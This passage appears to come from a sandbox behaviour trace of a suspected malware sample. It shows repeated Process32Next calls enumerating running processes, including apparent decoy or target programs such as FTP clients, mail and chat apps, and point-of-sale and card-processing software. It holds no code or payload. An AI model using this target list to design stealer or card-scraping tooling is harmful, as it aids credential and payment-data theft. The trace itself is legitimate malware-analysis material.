szExeFile="csrss.exe")) returned 1 [0259.110] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0259.112] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0259.114] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0259.116] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.118] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.121] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0259.123] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.125] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.127] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.179] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.181] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.182] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.184] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.186] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0259.188] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0259.191] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0259.193] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.195] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0259.197] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0259.199] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0259.201] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0259.203] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.205] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0259.207] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0259.209] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0259.211] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0259.213] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0259.215] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0259.216] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0259.218] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0259.220] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0259.272] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0259.274] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0259.277] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0259.279] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0259.281] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0259.283] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0259.286] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0259.288] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0259.290] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0259.292] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0259.294] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0259.296] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0259.298] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0259.300] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0259.302] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0259.304] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0259.306] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0259.308] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0259.310] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0259.312] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0259.314] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0259.380] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0259.382] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0259.384] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0259.387] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0259.389] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0259.391] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0259.393] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0259.395] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0259.397] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0259.399] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0259.402] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0259.404] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0259.406] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0259.409] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0259.411] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0259.413] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0259.415] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0259.418] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0259.420] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0259.422] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0259.424] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0259.476] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0259.479] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0259.480] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0259.482] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0259.484] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0259.486] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0259.488] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0259.489] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0259.491] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0259.493] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0259.495] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0259.496] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, 